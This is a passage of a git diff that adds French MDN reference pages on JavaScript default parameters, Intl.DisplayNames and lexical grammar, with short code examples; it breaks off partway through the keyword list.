+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<div>{{EmbedInteractiveExample("pages/js/functions-default.html")}}</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">function [<em>nom</em>]([<em>param1</em>[ = valeurParDéfaut1 ][, ..., <em>paramN</em>[ = valeurParDéfautN ]]]) {
+   instructions
+}
+</pre>
+
+<h2 id="Description">Description</h2>
+
+<p>En JavaScript, par défaut, la valeur des paramètres d'une fonction sera <code>undefined</code>. Malgré tout, il peut être assez utile de pouvoir définir d'autres valeurs par défaut.</p>
+
+<p>Auparavant, pour définir une valeur par défaut pour un paramètre, il fallait tester s'il valait <code>undefined</code> et lui affecter une valeur choisie le cas échéant. Dans l'exemple qui suit, le paramètre <code>b</code> n'a pas de valeur fournie lors de l'appel, aussi si on avait utilisé <code>undefined</code> dans la multiplication, la valeur retournée aurait été <code>NaN</code>. Aussi, dans la deuxième ligne du code, on prévoit ce cas :</p>
+
+<pre class="brush: js">function multiplier(a, b) {
+  var b = (typeof b !== 'undefined') ? b : 1;
+
+  return a * b;
+}
+
+multiplier(5, 2); // 10
+multiplier(5, 1); // 5
+multiplier(5);    // 5
+</pre>
+
+<p>Grâce aux paramètres par défaut qui existent depuis ECMAScript 2015 (ES6), on peut se passer de cette vérification et alléger le code de la fonction :</p>
+
+<pre class="brush: js">function multiplier(a, b = 1) {
+  return a * b;
+}
+
+multiplier(5, 2); // 10
+multiplier(5, 1); // 5
+multiplier(5, undefined); // 5
+multiplier(5); // 5</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Passer_undefined_en_paramètre">Passer <code>undefined</code> en paramètre</h3>
+
+<p>Dans l'exemple qui suit, le deuxième appel à la fonction fait explicitement appel à <code>undefined</code>. La valeur par défaut sera utilisée, y compris dans ce cas (en revanche, ce ne serait pas vrai pour <code>null</code> ou les autres valeurs équivalentes à <code>false</code> dans un contexte booléen).</p>
+
+<pre class="brush: js">function test(num = 1) {
+  console.log(typeof num);
+}
+
+test();           // number (num vaut 1)
+test(undefined);  // number (num vaut 1 également)
+test("");         // string (num vaut "")
+test(null);       // object (num vaut null)
+</pre>
+
+<h3 id="Évaluation_à_l'appel">Évaluation à l'appel</h3>
+
+<p>L'argument par défaut est évalué à l'instant de l'appel. Ainsi, à la différence d'autres langages comme Python, un nouvel objet est créé à chaque appel de la fonction.</p>
+
+<pre class="brush: js">function append(valeur, tableau = []) {
+  tableau.push(valeur);
+  return tableau;
+}
+
+append(1); //[1]
+append(2); //[2], et non [1, 2]
+
+</pre>
+
+<p>Cela est également valable pour les fonctions et les variables</p>
+
+<pre class="brush: js">function appelQqc(truc = qqc()) { return truc }
+
+appelQqc(); //lève une ReferenceError
+
+let qqc = () =&gt; "machin"
+
+appelQqc(); // "machin"
+</pre>
+
+<h3 id="Les_paramètres_par_défaut_sont_disponibles_à_la_suite">Les paramètres par défaut sont disponibles à la suite</h3>
+
+<p>Les paramètres déjà rencontrés dans la définition peuvent être utilisés comme paramètres par défaut dans la suite de la définition :</p>
+
+<pre class="brush: js">function salutation(nom, salut, message = salut + ' ' + nom){
+    return [nom, salut, message];
+}
+
+salutation('David', 'Coucou');
+// ["David", "Coucou", "Coucou David"]
+
+salutation('David', 'Coucou', 'Bon anniversaire !');
+// ["David", "Coucou", "Bon anniversaire !"]</pre>
+
+<p>On peut utiliser cette fonctionnalité afin de gérer beaucoup de cas aux limites :</p>
+
+<pre class="brush: js">function go() {
+  return ":P"
+}
+
+function avecDéfaut(a, b = 5, c = b, d = go(), e = this,
+                      f = arguments, g = this.value) {
+  return [a,b,c,d,e,f,g];
+}
+function sansDéfaut(a, b, c, d, e, f, g){
+  switch(arguments.length){
+    case 0:
+      a
+    case 1:
+      b = 5
+    case 2:
+      c = b
+    case 3:
+      d = go();
+    case 4:
+      e = this
+    case 5:
+      f = arguments
+    case 6:
+      g = this.value;
+    default:
+  }
+  return [a,b,c,d,e,f,g];
+}
+
+avecDéfaut.call({value:"=^_^="});
+// [undefined, 5, 5, ":P", {value:"=^_^="}, arguments, "=^_^="]
+
+
+sansDéfaut.call({value:"=^_^="});
+// [undefined, 5, 5, ":P", {value:"=^_^="}, arguments, "=^_^="]
+</pre>
+
+<h3 id="Les_fonctions_définies_dans_le_corps_d'une_fonction">Les fonctions définies dans le corps d'une fonction</h3>
+
+<p>À partir de Gecko 33 {{geckoRelease(33)}}. Les fonctions déclarées dans le corps de la fonction ne peuvent pas servir comme valeurs par défaut, cela lèvera une exception {{jsxref("ReferenceError")}} (plus précisément une {{jsxref("TypeError")}} avec SpiderMonkey, voir le {{bug(1022967)}}). Les paramètres par défaut sont exécutés en premier, les déclarations de fonctions présentes dans le corps de la fonction sont évaluées ensuite.</p>
+
+<pre class="brush: js">// Ne fonctionnera pas, entraîne une ReferenceError.
+function f(a = go()) {
+  function go(){return ":P"}
+}
+</pre>
+
+<h3 id="Utilisation_de_paramètres_sans_valeur_par_défaut_après_les_paramètres_par_défaut">Utilisation de paramètres sans valeur par défaut après les paramètres par défaut</h3>
+
+<p>Avant Gecko 26 ({{geckoRelease(26)}}, le code suivant aurait entraîné une exception {{jsxref("SyntaxError")}}. Cela a été corrigé avec le bug {{bug(777060)}}. Les paramètres sont toujours ordonnés de gauche à droite et les valeurs par défaut sont surchargées s'ils viennent avant les autres paramètres :</p>
+
+<pre class="brush: js">function f(x=1, y) {
+  return [x, y];
+}
+
+f();  // [1, undefined]
+f(2); // [2, undefined]
+</pre>
+
+<h3 id="Paramètre_par_défaut_et_décomposition_des_paramètres">Paramètre par défaut et décomposition des paramètres</h3>
+
+<p>Il est possible d'utiliser les valeurs par défaut avec <a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Affecter_par_décomposition">la syntaxe de décomposition</a> :</p>
+
+<pre class="brush: js">function f([x, y] = [1, 2], {z: z} = {z: 3}) {
+  return x + y + z;
+}
+
+f(); // 6</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-function-definitions', 'Function Definitions')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-function-definitions', 'Function Definitions')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.functions.default_parameters")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://wiki.ecmascript.org/doku.php?id=harmony:parameter_default_values">La proposition originale sur ecmascript.org</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/global_objects/intl/displaynames/displaynames/index.html b/files/fr/web/javascript/reference/global_objects/intl/displaynames/displaynames/index.html
new file mode 100644
index 0000000000..45c1982bde
--- /dev/null
+++ b/files/fr/web/javascript/reference/global_objects/intl/displaynames/displaynames/index.html
@@ -0,0 +1,106 @@
+---
+title: Intl.DisplayNames() constructor
+slug: Web/JavaScript/Reference/Global_Objects/Intl/DisplayNames/DisplayNames
+tags:
+  - API
+  - Constructeur
+  - JavaScript
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Intl/DisplayNames/DisplayNames
+---
+<div>{{JSRef}}</div>
+
+<p>Le constructeur <strong><code>Intl.DisplayNames()</code></strong> crée des objets qui permettent de fournir des traductions constantes des noms de langues, régions et systèmes d'écriture.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/intl-displaynames.html")}}</div>
+
+
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate">new Intl.DisplayNames([<var>langues</var>[, <var>options</var>]])
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>langues</code> {{optional_inline}}</dt>
+ <dd>
+ <p>Une chaine avec un code de langue BCP 47, ou un tableau de telles chaines. Pour comprendre la forme générale et l'interprétation de cet argument, voyez {{jsxref("Intl", "Intl page", "#Locale_identification_and_negotiation", 1)}}. Les clés d'extensions Unicode suivantes sont permises :</p>
+
+ <dl>
+  <dt><code>nu</code></dt>
+  <dd>Le système de numération à utiliser. Les valeurs possibles sont : <code>"arab"</code>, <code>"arabext"</code>, <code>"bali"</code>, <code>"beng"</code>, <code>"deva"</code>, <code>"fullwide"</code>, <code>"gujr"</code>, <code>"guru"</code>, <code>"hanidec"</code>, <code>"khmr"</code>, <code>"knda"</code>, <code>"laoo"</code>, <code>"latn"</code>, <code>"limb"</code>, <code>"mlym"</code>, <code>"mong"</code>, <code>"mymr"</code>, <code>"orya"</code>, <code>"tamldec"</code>, <code>"telu"</code>, <code>"thai"</code>, <code>"tibt"</code>.</dd>
+ </dl>
+ </dd>
+ <dt><code>options</code> {{optional_inline}}</dt>
+ <dd>
+ <p>Un objet avec certaines des des propriétés suivantes :</p>
+
+ <dl>
+  <dt><code>localeMatcher</code></dt>
+  <dd>L'algorithme de correspondance régional à utiliser. Les valeurs possibles sont <code>"lookup"</code> et <code>"best fit"</code> ; celle par défaut étant <code>"best fit"</code>. Pour plus d'informations à propos de cette option, voir {{jsxref("Global_Objects/Intl", "Intl page", "#Locale_negotiation", 1)}}.</dd>
+  <dt><code>style</code></dt>
+  <dd>Le style de mise en forme à utiliser, celui par défaut étant <code>"long"</code>.
+  <ul>
+   <li><code>"narrow"</code></li>
+   <li><code>"short"</code></li>
+   <li><code>"long"</code></li>
+  </ul>
+  </dd>
+  <dt><code>type</code></dt>
+  <dd>Le type à utiliser, celui par défaut étant <code>"language"</code>.
+  <ul>
+   <li><code>"language"</code></li>
+   <li><code>"region"</code></li>
+   <li><code>"script"</code></li>
+   <li><code>"currency"</code></li>
+  </ul>
+  </dd>
+  <dt><code>fallback</code></dt>
+  <dd>La valeur par défaut à utiliser, celle par défaut étant <code>"code"</code>.
+  <ul>
+   <li><code>"code"</code></li>
+   <li><code>"none"</code></li>
+  </ul>
+  </dd>
+ </dl>
+ </dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utilisation_simple">Utilisation simple</h3>
+
+<p>Dans son utilisation simple, sans spécifier de langue, une chaine dans la langue locale par défaut et avec les options par défaut sera retournée.</p>
+
+<pre class="brush: js notranslate">console.log((new Intl.DisplayNames()).of('US'));
+// Expected output: 'us'
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Intl.DisplayNames', '#sec-intl-displaynames-constructor', 'the Intl.DisplayNames constructor')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Intl.DisplayNames.DisplayNames")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Intl.DisplayNames")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/global_objects/intl/displaynames/index.html b/files/fr/web/javascript/reference/global_objects/intl/displaynames/index.html
new file mode 100644
index 0000000000..80b117d392
--- /dev/null
+++ b/files/fr/web/javascript/reference/global_objects/intl/displaynames/index.html
@@ -0,0 +1,154 @@
+---
+title: Intl.DisplayNames
+slug: Web/JavaScript/Reference/Global_Objects/Intl/DisplayNames
+tags:
+  - Class
+  - DisplayNames
+  - Internationalization
+  - Intl
+  - JavaScript
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Intl/DisplayNames
+---
+<div>{{JSRef}}</div>
+
+<p>L'objet <strong><code>Intl.DisplayNames</code></strong> est un constructeur d'objets qui permettent de fournir des traductions des noms de langues, régions et systèmes d'écriture.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/intl-displaynames.html")}}</div>
+
+
+
+<h2 id="Constructeur">Constructeur</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Intl/DisplayNames/DisplayNames"><code>Intl.DisplayNames()</code></a></dt>
+ <dd>Crée un nouvel objet <code>Intl.DisplayNames</code>.</dd>
+</dl>
+
+<h2 id="Méthodes_statiques">Méthodes statiques</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Intl/DisplayNames/supportedLocalesOf"><code>Intl.DisplayNames.supportedLocalesOf()</code></a></dt>
+ <dd>Retourne un tableau contenant les langues fournies qui sont supportées sans avoir à se rabattre sur la langue locale par défaut au moment de l'exécution.</dd>
+</dl>
+
+<h2 id="Méthodes_des_instances">Méthodes des instances</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Intl/DisplayNames/of"><code>Intl.DisplayNames.prototype.of()</code></a></dt>
+ <dd>Cette méthodes reçoit un <code>code</code> et retourne une chaine à partir sur la langue et les options fournies lors de l'instanciation de <a href="#"><code>Intl.DisplayNames</code></a>.</dd>
+ <dt><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Intl/DisplayNames/resolvedOptions"><code>Intl.DisplayNames.prototype.resolvedOptions()</code></a></dt>
+ <dd>Retourne un nouvel objet dont les propriété feflètent la langue et les options de formattage calculées lors de l'initialisation de l'objet.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Affichage_des_noms_de_régions">Affichage des noms de régions</h3>
+
+<p>Pour créer un objet <code>Intl.DisplayNames</code> pour une langue et obtenir le nom correspondant à un code de région dans cette langue.</p>
+
+<pre class="brush: js notranslate">// Obtenir le nom d'une région en anglais
+let nomsRégions = new Intl.DisplayNames(['en'], {type: 'region'});
+nomsRégions.of('419'); // "Latin America"
+nomsRégions.of('BZ');  // "Belize"
+nomsRégions.of('US');  // "United States"
+nomsRégions.of('BA');  // "Bosnia &amp; Herzegovina"
+nomsRégions.of('MM');  // "Myanmar (Burma)"
+
+// Obtenir le nom d'une région en chinois traditionnel
+nomsRégions = new Intl.DisplayNames(['zh-Hant'], {type: 'region'});
+nomsRégions.of('419'; // "拉丁美洲"
+nomsRégions.of('BZ'); // "貝里斯"
+nomsRégions.of('US'); // "美國"
+nomsRégions.of('BA'); // "波士尼亞與赫塞哥維納"
+nomsRégions.of('MM'); // "緬甸"</pre>
+
+<h3 id="Affichage_des_noms_de_langues">Affichage des noms de langues</h3>
+
+<p>Pour créer un objet <code>Intl.DisplayNames</code> pour une langue et obtenir le nom correspondant à un code de langue (possiblement suivi d'un code de système d'écriture ou de région) dans cette langue.</p>
+
+<pre class="brush: js notranslate">// Obtenir le nom d'une langue en anglais
+let nomsLangues= new Intl.DisplayNames(['en'], {type: 'language'});
+nomsLangues.of('fr');      // "French"
+nomsLangues.of('de');      // "German"
+nomsLangues.of('fr-CA');   // "Canadian French"
+nomsLangues.of('zh-Hant'); // "Traditional Chinese"
+nomsLangues.of('en-US');   // "American English"
+nomsLangues.of('zh-TW');   // "Chinese (Taiwan)"
+
+// Obtenir le nom d'une langue en chinois traditionnel
+nomsLangues = new Intl.DisplayNames(['zh-Hant'], {type: 'language'});
+nomsLangues.of('fr'); // "法文"
+nomsLangues.of('zh'); // "中文"
+nomsLangues.of('de'); // "德文"</pre>
+
+<h3 id="Affichage_des_noms_de_systèmes_décriture">Affichage des noms de systèmes d'écriture</h3>
+
+<p>To create an <code>Intl.DisplayNames</code> for a locale and get the display name for a script code.</p>
+
+<p>Pour créer un objet <code>Intl.DisplayNames</code> pour une langue et obtenir le nom correspondant à un code de système d'écriture dans cette langue.</p>
+
+<pre class="brush: js notranslate">// Obtenir le nom d'un système d'écriture en anglais
+let nomsSystèmes = new Intl.DisplayNames(['en'], {type: 'script'});
+nomsSystèmes.of('Latn'); // "Latin"
+nomsSystèmes.of('Arab'); // "Arabic"
+nomsSystèmes.of('Kana'); // "Katakana"
+
+// Obtenir le nom d'un système d'écriture en chinois traditionnel
+nomsSystèmes = new Intl.DisplayNames(['zh-Hant'], {type: 'script'});
+nomsSystèmes.of('Latn'); // "拉丁文"
+nomsSystèmes.of('Arab'); // "阿拉伯文"
+nomsSystèmes.of('Kana'); // "片假名"</pre>
+
+<h3 id="Affichage_des_noms_de_devises">Affichage des noms de devises</h3>
+
+<p>Pour créer un objet <code>Intl.DisplayNames</code> pour une langue et obtenir le nom correspondant au code d'une devise.</p>
+
+<pre class="brush: js notranslate">// Obtenir le nom d'une devise in English
+let nomsDevises = new Intl.DisplayNames(['en'], {type: 'currency'});
+nomsDevises.of('USD'); // "US Dollar"
+nomsDevises.of('EUR'); // "Euro"
+nomsDevises.of('TWD'); // "New Taiwan Dollar"
+nomsDevises.of('CNY'); // "Chinese Yuan"
+
+// Obtenir le nom d'une devise in Traditional Chinese
+nomsDevises = new Intl.DisplayNames(['zh-Hant'], {type: 'currency'});
+nomsDevises.of('USD'); // "美元"
+nomsDevises.of('EUR'); // "歐元"
+nomsDevises.of('TWD'); // "新台幣"
+nomsDevises.of('CNY'); // "人民幣"</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Intl.DisplayNames', '#intl-displaynames-objects', 'DisplayNames')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Intl.DisplayNames")}}</p>
+</div>
+
+<h3 id="Degré_dimplantation">Degré d'implantation</h3>
+
+<p>Le tableau suivant indique un statut quotidien d'implantation des nouvelles fonctionnalités qui n'ont pas encore atteint un palier de stabilité entre les navigateurs. Les données sont généréesen exécutant les contrôles de fonctionnalités appropriés dans <a href="https://github.com/tc39/test262">Test262</a>, l'ensemble de contrôles normalisés de JavaScript, dans la version <em>nightly</em>, ou la dernière publication de chaque moteur d'exécution de JavaScript.</p>
+
+<p>{{EmbedTest262ReportResultsTable("Intl.DisplayNames")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Intl")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/grammaire_lexicale/index.html b/files/fr/web/javascript/reference/grammaire_lexicale/index.html
new file mode 100644
index 0000000000..62931aa6a4
--- /dev/null
+++ b/files/fr/web/javascript/reference/grammaire_lexicale/index.html
@@ -0,0 +1,593 @@
+---
+title: Grammaire lexicale
+slug: Web/JavaScript/Reference/Grammaire_lexicale
+tags:
+  - Avancé
+  - Grammaire
+  - JavaScript
+  - Reference
+translation_of: Web/JavaScript/Reference/Lexical_grammar
+---
+<div>{{JsSidebar("More")}}</div>
+
+<p>Cette page décrit la grammaire lexicale de JavaScript. Le code source d'un script ECMAScript est analysé de gauche à droite et est converti en une série d'éléments qui sont : des jetons, des caractères de contrôle, des terminateurs de lignes, des commentaires ou des blancs. ECMAScript définit également certains mots-clés et littéraux. ECMAScript possède également des règles pour insérer automatiquement des points-virgules à la fin des instructions.</p>
+
+<h2 id="Caractères_de_contrôle">Caractères de contrôle</h2>
+
+<p>Les caractères de contrôle n'ont aucune représentation visuelle mais sont utilisés pour contrôler l'interprétation du texte.</p>
+
+<table class="standard-table">
+ <caption>Caractères de contrôle au format Unicode</caption>
+ <tbody>
+  <tr>
+   <th>Point de code</th>
+   <th>Nom</th>
+   <th>Abréviation</th>
+   <th>Description</th>
+  </tr>
+  <tr>
+   <td><code>U+200C</code></td>
+   <td>Antiliant sans chasse (<em>zero width non-joiner</em> en anglais)</td>
+   <td>&lt;ZWNJ&gt;</td>
+   <td>Placé entre des caractères pour empêcher qu'ils soient connectés par une ligature dans certaines langues (<a href="https://fr.wikipedia.org/wiki/Antiliant_sans_chasse">Wikipédia</a>).</td>
+  </tr>
+  <tr>
+   <td><code>U+200D</code></td>
+   <td>Liant sans chasse (<em>zero width joiner</em> en anglais)</td>
+   <td>&lt;ZWJ&gt;</td>
+   <td>Placé entre des caractères qui ne seraient normalement pas connectés pour les afficher comme connectés dans certaines langues (<a href="https://fr.wikipedia.org/wiki/Liant_sans_chasse">Wikipédia</a>).</td>
+  </tr>
+  <tr>
+   <td><code>U+FEFF</code></td>
+   <td>Indicateur d'ordre des octets (<em>byte order mark</em> en anglais)</td>
+   <td>&lt;BOM&gt;</td>
+   <td>Utilisé au début d'un script pour indiquer qu'il est en Unicode et quel est l'ordre des octets (<a href="https://fr.wikipedia.org/wiki/Indicateur_d%27ordre_des_octets">Wikipedia</a>).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Blancs">Blancs</h2>
+
+<p>Les caractères d'espacement (blancs) sont utilisés pour des raisons de lisibilité et permetttent de séparer les différents fragments entre eux. Ces caractères sont généralement inutiles au code. Les outils de <a href="https://en.wikipedia.org/wiki/Minification_%28programming%29">minification</a> sont souvent utilisés pour retirer les blancs afin de réduire le volume de données à transférer.</p>
+
+<table class="standard-table">
+ <caption>Caractères d'espacament</caption>
+ <tbody>
+  <tr>
+   <th>Point de code</th>
+   <th>Nom</th>
+   <th>Abréviation</th>
+   <th>Description</th>
+   <th>Séquence d'échappement</th>
+  </tr>
+  <tr>
+   <td>U+0009</td>
+   <td>Tabulation (horizontale)</td>
+   <td>&lt;HT&gt;</td>
+   <td>Tabulation horizontale</td>
+   <td>\t</td>
+  </tr>
+  <tr>
+   <td>U+000B</td>
+   <td>Tabulation verticale</td>
+   <td>&lt;VT&gt;</td>
+   <td>Tabulation verticale</td>
+   <td>\v</td>
+  </tr>
+  <tr>
+   <td>U+000C</td>
+   <td>Caractère de saut de page (<em>form feed</em> en anglais)</td>
+   <td>&lt;FF&gt;</td>
+   <td>Caractère de contrôle pour le saut de page (<a href="http://en.wikipedia.org/wiki/Page_break#Form_feed">Wikipédia</a>).</td>
+   <td>\f</td>
+  </tr>
+  <tr>
+   <td>U+0020</td>
+   <td>Espace sécable (<em>space</em> en anglais)</td>
+   <td>&lt;SP&gt;</td>
+   <td>Espace sécable</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>U+00A0</td>
+   <td>Espace insécable (<em>no-break space</em> en anglais)</td>
+   <td>&lt;NBSP&gt;</td>
+   <td>Espace insécable</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>Autres</td>
+   <td>Autres caractères d'espaces Unicode</td>
+   <td>&lt;USP&gt;</td>
+   <td><a href="http://en.wikipedia.org/wiki/Space_%28punctuation%29#Spaces_in_Unicode">Espaces Unicode sur Wikipédia</a></td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Terminateurs_de_lignes">Terminateurs de lignes</h2>
+
+<p>En plus des blancs, les caractères de fin de ligne (terminateurs de lignes) sont utilisés pour améliorer la lisibilité du texte. Cependant, dans certains cas, les terminateurs de lignes peuvent influencer l'exécution du code JavaScript là où ils sont interdits. Les terminateurs de lignes affectent également le processus d'<a href="#Automatic_semicolon_insertion">insertion automatique des points-virgules</a>. Les terminateurs de lignes correspondent à la classe <strong>\s</strong> <a href="/fr/docs/Web/JavaScript/Guide/Expressions_régulières">des expressions rationnelles</a>.</p>
+
+<p>Seuls les points de code Unicode qui suivent sont traités comme des fins de lignes en ECMAScript, les autres caractères sont traités comme des blancs (par exemple : <em>Next Line </em>(nouvelle ligne) : NEL, U+0085 est considéré comme un blanc).</p>
+
+<table class="standard-table">
+ <caption>Caractères de fin de ligne</caption>
+ <tbody>
+  <tr>
+   <th>Point de code</th>
+   <th>Nom</th>
+   <th>Abréviation</th>
+   <th>Description</th>
+   <th>Séquence d'échappement</th>
+  </tr>
+  <tr>
+   <td>U+000A</td>
+   <td>Nouvelle ligne</td>
+   <td>&lt;LF&gt;</td>
+   <td>Caractère de nouvelle ligne pour les systèmes UNIX.</td>
+   <td>\n</td>
+  </tr>
+  <tr>
+   <td>U+000D</td>
+   <td>Retour chariot</td>
+   <td>&lt;CR&gt;</td>
+   <td>Caractère de nouvelle ligne pour les systèmes Commodore et les premiers Mac.</td>
+   <td>\r</td>
+  </tr>
+  <tr>
+   <td>U+2028</td>
+   <td>Séparateur de ligne</td>
+   <td>&lt;LS&gt;</td>
+   <td><a href="https://fr.wikipedia.org/wiki/Fin_de_ligne">Wikipédia</a></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>U+2029</td>
+   <td>Séparateur de paragraphe</td>
+   <td>&lt;PS&gt;</td>
+   <td><a href="https://fr.wikipedia.org/wiki/Fin_de_ligne">Wikipédia</a></td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Commentaires">Commentaires</h2>
+
+<p>Les commentaires sont utilisés pour fournir des notes, des suggestions, des indications ou des avertissements sur le code JavaScript. Cela peut en faciliter la lecture et la compréhension. Ils peuvent également être utilisés pour empêcher l'exécution d'un certain code ; cela peut être pratique lors du débogage.</p>
+
+<p>En JavaScript, Il existe actuellement deux façons de former des commentaires (cf. ci-après pour une troisième méthode en cours de discussion).</p>
+
+<h3 id="Commentaire_sur_une_ligne">Commentaire sur une ligne</h3>
+
+<p>La première façon est d'utiliser <code>//</code> (double barre oblique), pour commenter tout le texte qui suit (sur la même ligne). Par exemple :</p>
+
+<pre class="brush: js">function comment() {
+  // Voici un commentaire d'une ligne en JavaScript
+  console.log("Hello world !");
+}
+comment();
+</pre>
+
+<h3 id="Commentaire_sur_plusieurs_lignes">Commentaire sur plusieurs lignes</h3>
+
+<p>La seconde façon est d'utiliser <code>/* */</code>, qui est plus flexible.</p>
+
+<p>Il est possible d'utiliser cette forme sur une seule ligne :</p>
+
+<pre class="brush: js">function comment() {
+  /* Voici un commentaire d'une ligne en JavaScript */
+  console.log("Hello world !");
+}
+comment();</pre>
+
+<p>Mais également sur plusieurs lignes, comme ceci :</p>
+
+<pre class="brush: js">function comment() {
+ /* Ce commentaire s'étend sur plusieurs lignes. Il n'y a
+    pas besoin de clore le commentaire avant d'avoir
+     fini. */
+  console.log("Hello world !");
+}
+comment();</pre>
+
+<p>Il est également possible d'utiliser un commentaire au milieu d'une ligne. En revanche, cela rend le code plus difficile à lire et devrait être utilisé avec attention :</p>
+
+<pre class="brush: js">function comment(x) {
+  console.log("Hello " + x /* insérer la valeur de x */ + " !");
+}
+comment("world");</pre>
+
+<p>On peut également encadrer du code pour l'empêcher d'être exécuté. Par exemple :</p>
+
+<pre class="brush: js">function comment() {
+  /* console.log("Hello world !"); */
+}
+comment();</pre>
+
+<p>Ici, l'appel <code>console.log()</code> n'a jamais lieu car il fait partie d'un commentaire. On peut ainsi désactiver plusieurs lignes de code d'un coup.</p>
+
+<h3 id="Commentaire_d'environnement_(hashbang)">Commentaire d'environnement (<em>hashbang</em>)</h3>
+
+<p>Une troisième syntaxe, en cours de standardisation par ECMAScript, permet d'indiquer l'environnement dans lequel est exécuté le script via <a href="https://github.com/tc39/proposal-hashbang">un commentaire <em>hashbang</em></a>. Un tel commentaire commence par <code>#!</code> et est <strong>uniquement valide au tout début du script ou du module</strong> (aucun espace/blanc n'est autorisé avant <code>#!</code>). Un tel commentaire ne tient que sur une seule ligne et il ne peut y avoir qu'un seul commentaire de ce type.</p>
+
+<pre class="brush: js">#!/usr/bin/env node
+
+console.log("Coucou le monde");
+</pre>
+
+<p>Les commentaires d'environnements sont conçus pour fonctionner comme <a href="https://en.wikipedia.org/wiki/Shebang_(Unix)">les <em>shebangs</em> qu'on peut trouver sous Unix</a> et indiquent l'interpréteur à utiliser pour exécuter le script ou le module.</p>
+
+<div class="blockIndicator warning">
+<p><strong>Attention !</strong> Bien qu'utiliser un <a href="https://fr.wikipedia.org/wiki/Indicateur_d%27ordre_des_octets">BOM</a> avant le <em>hashbang</em> fonctionne dans un navigateur, cela n'est pas conseillé. En effet, un BOM empêchera le bon fonctionnement sous Unix/Linux. Utilisez un encodage UTF-8 sans BOM si vous souhaitez exécuter vos scripts depuis une invite de commande.</p>
+</div>
+
+<p>Si vous souhaitez placer un commentaire en début de fichier sans indiquer d'environnement d'exécution spécifique, on pourra utiliser le commentaire classique avec <code>//</code>.</p>
+
+<h2 id="Mots-clés">Mots-clés</h2>
+
+<h3 id="Mots-clés_réservés_selon_ECMAScript_2015">Mots-clés réservés selon ECMAScript 2015</h3>
+
+<div class="threecolumns">
+<ul>
+ <li>{{jsxref("Instructions/break", "break")}}</li>
+ <li>{{jsxref("Instructions/switch", "case")}}</li>
+ <li>{{jsxref("Opérateurs/class","class")}}</li>
+ <li>{{jsxref("Instructions/try...catch", "catch")}}</li>
+ <li>{{jsxref("Instructions/const", "const")}}</li>
+ <li>{{jsxref("Instructions/continue", "continue")}}</li>
+ <li>{{jsxref("Instructions/debugger", "debugger")}}</li>
+ <li>{{jsxref("Instructions/default", "default")}}</li>
+ <li>{{jsxref("Opérateurs/L_opérateur_delete", "delete")}}</li>
+ <li>{{jsxref("Instructions/while", "do")}}</li>
+ <li>{{jsxref("Instructions/if...else", "else")}}</li>
+ <li>{{jsxref("Instructions/export", "export")}}</li>
